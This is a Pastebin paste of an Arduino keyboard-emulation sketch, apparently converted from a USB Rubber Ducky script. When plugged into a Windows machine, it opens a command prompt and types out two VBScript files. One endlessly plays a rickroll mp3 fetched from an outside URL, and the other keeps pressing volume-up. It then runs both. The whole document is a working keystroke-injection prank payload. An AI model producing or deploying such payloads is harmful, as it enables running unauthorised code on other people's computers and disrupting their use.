Advertisement
Guest User

Untitled

a guest
Sep 19th, 2019
186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.28 KB | None | 0 0
  1. #include <Keyboard.h>
  2. /*
  3. * Generated with <3 by Dckuino.js, an open source project !
  4. */
  5.  
  6.  
  7. void typeKey(int key)
  8. {
  9. Keyboard.press(key);
  10. delay(50);
  11. Keyboard.release(key);
  12. }
  13.  
  14. /* Init function */
  15. void setup()
  16. {
  17. // Begining the Keyboard stream
  18.  
  19. Keyboard.begin();
  20.  
  21. // Wait 500ms
  22. delay(500);
  23.  
  24. delay(3500);
  25.  
  26. Keyboard.press(KEY_LEFT_GUI);
  27. Keyboard.press('r');
  28. Keyboard.releaseAll();
  29.  
  30. delay(200);
  31.  
  32. Keyboard.print("cmd");
  33.  
  34. typeKey(KEY_RETURN);
  35.  
  36. delay(500);
  37.  
  38. Keyboard.print("del %tmp%\\rickyou.vbs");
  39.  
  40. typeKey(KEY_RETURN);
  41.  
  42. delay(200);
  43.  
  44. Keyboard.print("del %tmp%\\volup.vbs");
  45.  
  46. typeKey(KEY_RETURN);
  47.  
  48. delay(200);
  49.  
  50. Keyboard.print("cd %tmp% && copy con rickyou.vbs");
  51.  
  52. typeKey(KEY_RETURN);
  53.  
  54. Keyboard.print("While true");
  55.  
  56. typeKey(KEY_RETURN);
  57.  
  58. Keyboard.print("Dim oPlayer");
  59.  
  60. typeKey(KEY_RETURN);
  61.  
  62. Keyboard.print("Set oPlayer = CreateObject(\"WMPlayer.OCX\")");
  63.  
  64. typeKey(KEY_RETURN);
  65.  
  66. Keyboard.print("oPlayer.URL = \"https://pixelcoding.nl/download/rickroll.mp3\"");
  67.  
  68. typeKey(KEY_RETURN);
  69.  
  70. Keyboard.print("oPlayer.controls.play");
  71.  
  72. typeKey(KEY_RETURN);
  73.  
  74. Keyboard.print("While oPlayer.playState <> 1 ' 1 = Stopped");
  75.  
  76. typeKey(KEY_RETURN);
  77.  
  78. Keyboard.print("WScript.Sleep 100");
  79.  
  80. typeKey(KEY_RETURN);
  81.  
  82. Keyboard.print("Wend");
  83.  
  84. typeKey(KEY_RETURN);
  85.  
  86. Keyboard.print("oPlayer.close");
  87.  
  88. typeKey(KEY_RETURN);
  89.  
  90. Keyboard.print("Wend");
  91.  
  92. typeKey(KEY_RETURN);
  93.  
  94. delay(100);
  95.  
  96. Keyboard.press(KEY_LEFT_CTRL);
  97. Keyboard.press('z');
  98. Keyboard.releaseAll();
  99.  
  100. typeKey(KEY_RETURN);
  101.  
  102. Keyboard.print("copy con volup.vbs");
  103.  
  104. typeKey(KEY_RETURN);
  105.  
  106. Keyboard.print("do");
  107.  
  108. typeKey(KEY_RETURN);
  109.  
  110. Keyboard.print("Set WshShell = CreateObject(\"WScript.Shell\")");
  111.  
  112. typeKey(KEY_RETURN);
  113.  
  114. Keyboard.print("WshShell.SendKeys(chr(&hAF))");
  115.  
  116. typeKey(KEY_RETURN);
  117.  
  118. Keyboard.print("loop");
  119.  
  120. typeKey(KEY_RETURN);
  121.  
  122. Keyboard.press(KEY_LEFT_CTRL);
  123. Keyboard.press('z');
  124. Keyboard.releaseAll();
  125.  
  126. typeKey(KEY_RETURN);
  127.  
  128. Keyboard.print("start rickyou.vbs && volup.vbs");
  129.  
  130. typeKey(KEY_RETURN);
  131.  
  132. Keyboard.print("exit");
  133.  
  134. typeKey(KEY_RETURN);
  135.  
  136. // Ending stream
  137. Keyboard.end();
  138. }
  139.  
  140. /* Unused endless loop */
  141. void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement